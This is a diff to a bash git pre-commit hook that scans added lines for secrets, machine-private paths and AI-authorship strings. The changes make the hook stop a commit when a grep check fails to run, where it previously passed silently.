# `git commit -a` stages tracked changes as part of the commit. As a git hook that is invisible — git stages
|
|
62
115
|
# first, so --cached already contains them by the time this runs. Called AHEAD of the commit (the plugin
|
|
@@ -67,10 +120,10 @@ if [ "${CREW_SCAN_UNSTAGED:-0}" = 1 ]; then
|
|
|
67
120
|
git diff --unified=0 -- . \
|
|
68
121
|
':(top,exclude,glob)**/trace-blocklist.txt' ':(top,exclude,glob)**/secret-blocklist.txt' \
|
|
69
122
|
':(top,exclude)trace-blocklist.txt' ':(top,exclude)secret-blocklist.txt' \
|
|
70
|
-
| grep -E '^\+' | grep -Ev '^\+\+\+' >> "$SECRET_F" ||
|
|
123
|
+
| grep -E '^\+' | grep -Ev '^\+\+\+' >> "$SECRET_F" || _crew_looked "the unstaged diff" "${PIPESTATUS[@]}"
|
|
71
124
|
git diff --unified=0 -- . ':(top,exclude).claude' \
|
|
72
125
|
':(top,exclude,glob)**/trace-blocklist.txt' ':(top,exclude)trace-blocklist.txt' \
|
|
73
|
-
| grep -E '^\+' | grep -Ev '^\+\+\+' >> "$TRACE_F" ||
|
|
126
|
+
| grep -E '^\+' | grep -Ev '^\+\+\+' >> "$TRACE_F" || _crew_looked "the unstaged diff" "${PIPESTATUS[@]}"
|
|
74
127
|
fi
|
|
75
128
|
|
|
76
129
|
HIT=0
|
|
@@ -300,16 +353,21 @@ done < <({ _floor_diff --cached; [ "${CREW_SCAN_UNSTAGED:-0}" = 1 ] && _floor_di
|
|
|
300
353
|
# secrets newly passed. Also checked structurally: no pattern in either shipped blocklist carries a bare
|
|
301
354
|
# top-level `|` (every one is inside a group) and none uses a back-reference, so joining cannot reshape them.
|
|
302
355
|
_crew_any(){ # $1 = pattern list $2 = corpus $3 = grep flags $4 = 1 for newline-joined fixed strings
|
|
303
|
-
local pat alt="" sep="|"
|
|
356
|
+
local pat alt="" sep="|" na=0 r=0
|
|
304
357
|
[ "$4" = 1 ] && sep="
|
|
305
358
|
"
|
|
306
359
|
while IFS= read -r pat || [ -n "$pat" ]; do
|
|
307
360
|
pat="${pat%$'\r'}"
|
|
308
361
|
case "$pat" in ''|\#*) continue;; esac
|
|
309
362
|
alt="${alt:+$alt$sep}$pat"
|
|
363
|
+
case "$pat" in *[!$'\t'\ -~]*) na=1 ;; esac
|
|
310
364
|
done < "$1"
|
|
311
365
|
[ -n "$alt" ] || return 1
|
|
312
|
-
grep -q$3 -- "$alt" "$2" 2>/dev/null
|
|
366
|
+
grep -q$3 -- "$alt" "$2" 2>/dev/null || r=$?
|
|
367
|
+
# Nothing found, but a pattern holds a letter outside ASCII and the match ignores case: the per-pattern loop looks
|
|
368
|
+
# again under the session's own locale (_crew_scan), so send the caller there.
|
|
369
|
+
if [ "$r" = 1 ] && [ "$na" = 1 ] && [ -n "$_CREW_LOCALE" ]; then case "$3" in *i*) return 4 ;; esac; fi
|
|
370
|
+
return "$r"
|
|
313
371
|
}
|
|
314
372
|
# (1) trace scan — case-INsensitive (vendor / AI-authorship strings), project files only
|
|
315
373
|
# `!= 1` AND NOT `= 0`, AND THE DIFFERENCE IS THE WHOLE GATE. _crew_any joins every pattern into ONE
|
|
@@ -345,12 +403,15 @@ if [ -f "$BL" ] && [ -s "$TRACE_F" ] && [ "$_dec" != 1 ]; then
|
|
|
345
403
|
# `|| _gr=$?` and not a bare call: `set -e` is in force at the top of this file, and a grep that simply
|
|
346
404
|
# does not match exits 1, which would kill the hook on the first clean pattern. Measured the wrong way once
|
|
347
405
|
# already -- the bare form made every commit exit 1 with no output at all.
|
|
348
|
-
_gr=0;
|
|
406
|
+
_gr=0; _crew_scan iE "$pat" "$TRACE_F" || _gr=$?
|
|
349
407
|
if [ "$_gr" = 0 ]; then
|
|
350
408
|
echo "TRACE-SCANNER: forbidden expression in added code -> '$pat' (§4.1/§4.2)"
|
|
351
409
|
HIT=1
|
|
352
|
-
elif [ "$_gr"
|
|
410
|
+
elif [ "$_gr" = 2 ]; then
|
|
353
411
|
echo "TRACE-SCANNER: /$pat/ in $BL is not a valid regular expression, so it matches NOTHING. Every other pattern still ran; fix or remove this line."
|
|
412
|
+
elif [ "$_gr" -ge 3 ]; then
|
|
413
|
+
echo "TRACE-SCANNER: the look for '$pat' could not run, so the added lines are not known to be clean and the commit is stopped (§4.1/§4.2)."
|
|
414
|
+
HIT=1
|
|
354
415
|
fi
|
|
355
416
|
done < "$BL"
|
|
356
417
|
fi
|
|
@@ -361,11 +422,14 @@ if [ -f "$SL" ] && [ -s "$SECRET_F" ] && [ "$_dec" != 1 ]; then
|
|
|
361
422
|
pat="${pat%$'\r'}" # tolerate a CRLF blocklist (Windows/autocrlf checkout)
|
|
362
423
|
case "$pat" in ''|\#*) continue;; esac
|
|
363
424
|
if [ -n "$SAL" ] && grep -qxF -- "$pat" "$SAL"; then continue; fi
|
|
364
|
-
_gr=0;
|
|
425
|
+
_gr=0; _crew_scan E "$pat" "$SECRET_F" || _gr=$?
|
|
365
426
|
if [ "$_gr" = 0 ]; then
|
|
366
427
|
echo "SECRET-SCANNER: a staged line matches a secret pattern -> /$pat/"
|
|
367
428
|
HIT=1
|
|
368
|
-
elif [ "$_gr" -ge
|
|
429
|
+
elif [ "$_gr" -ge 3 ]; then
|
|
430
|
+
echo "SECRET-SCANNER: the look for /$pat/ could not run, so the staged lines are not known to be clean and the commit is stopped."
|
|
431
|
+
HIT=1
|
|
432
|
+
elif [ "$_gr" = 2 ]; then
|
|
369
433
|
# Same reasoning as the trace loop above; the comment there is the long form.
|
|
370
434
|
echo "SECRET-SCANNER: /$pat/ in $SL is not a valid regular expression, so it matches NOTHING. Every other pattern still ran; fix or remove this line."
|
|
371
435
|
fi
|
|
@@ -411,11 +475,17 @@ if [ -s "$PTERM_F" ] && [ -s "$SECRET_F" ] && [ "$_dec" != 1 ]; then
|
|
|
411
475
|
term="${term%$'\r'}"
|
|
412
476
|
[ -n "$term" ] || continue
|
|
413
477
|
if [ -n "$PAL" ] && grep -qxF -- "$term" "$PAL"; then continue; fi
|
|
414
|
-
|
|
478
|
+
_gr=0; _crew_scan iF "$term" "$SECRET_F" || _gr=$?
|
|
479
|
+
if [ "$_gr" = 0 ]; then
|
|
415
480
|
# The term is echoed back deliberately: unlike a secret, the author has to see WHICH private string to
|
|
416
481
|
# replace, and it is already sitting in their own working tree.
|
|
417
482
|
echo "PRIVATE-PATH SCANNER: a staged line contains a machine-private string -> '$term' (§4.3)"
|
|
418
483
|
HIT=1
|
|
484
|
+
elif [ "$_gr" -ge 2 ]; then
|
|
485
|
+
# This loop used to read every exit status but 0 as "no match": under a Turkish locale in Git Bash grep -iF
|
|
486
|
+
# aborted (134) for each term and the commit went through with both private strings in it (measured).
|
|
487
|
+
echo "PRIVATE-PATH SCANNER: the look for a machine-private string could not run, so the staged lines are not known to be clean and the commit is stopped (§4.3)."
|
|
488
|
+
HIT=1
|
|
419
489
|
fi
|
|
420
490
|
done < "$PTERM_F"
|
|
421
491
|
fi
|
|
@@ -535,7 +605,14 @@ EOF_FLOOR_CAND2
|
|
|
535
605
|
esac
|
|
536
606
|
_gr=0; hits="$(grep -nE -- "$pat" "$FLOOR_F" 2>/dev/null)" || _gr=$?
|
|
537
607
|
if [ "$_gr" -ge 2 ]; then
|
|
538
|
-
|
|
608
|
+
# Does the pattern compile? Tried against empty input: 1 = it does, so it was the look that failed.
|
|
609
|
+
_gv=0; grep -qE -- "$pat" /dev/null 2>/dev/null || _gv=$?
|
|
610
|
+
if [ "$_gv" = 2 ]; then
|
|
611
|
+
echo "FLOOR-GUARD: /$pat/ in $FL is not a valid regular expression, so it matches NOTHING. Every other pattern still ran; fix or remove this line."
|
|
612
|
+
else
|
|
613
|
+
echo "FLOOR-GUARD: the look for /$pat/ could not run, so the staged lines are not known to be clean and the commit is stopped."
|
|
614
|
+
HIT=1
|
|
615
|
+
fi
|
|
539
616
|
continue
|
|
540
617
|
fi
|
|
541
618
|
[ -n "$hits" ] || continue
|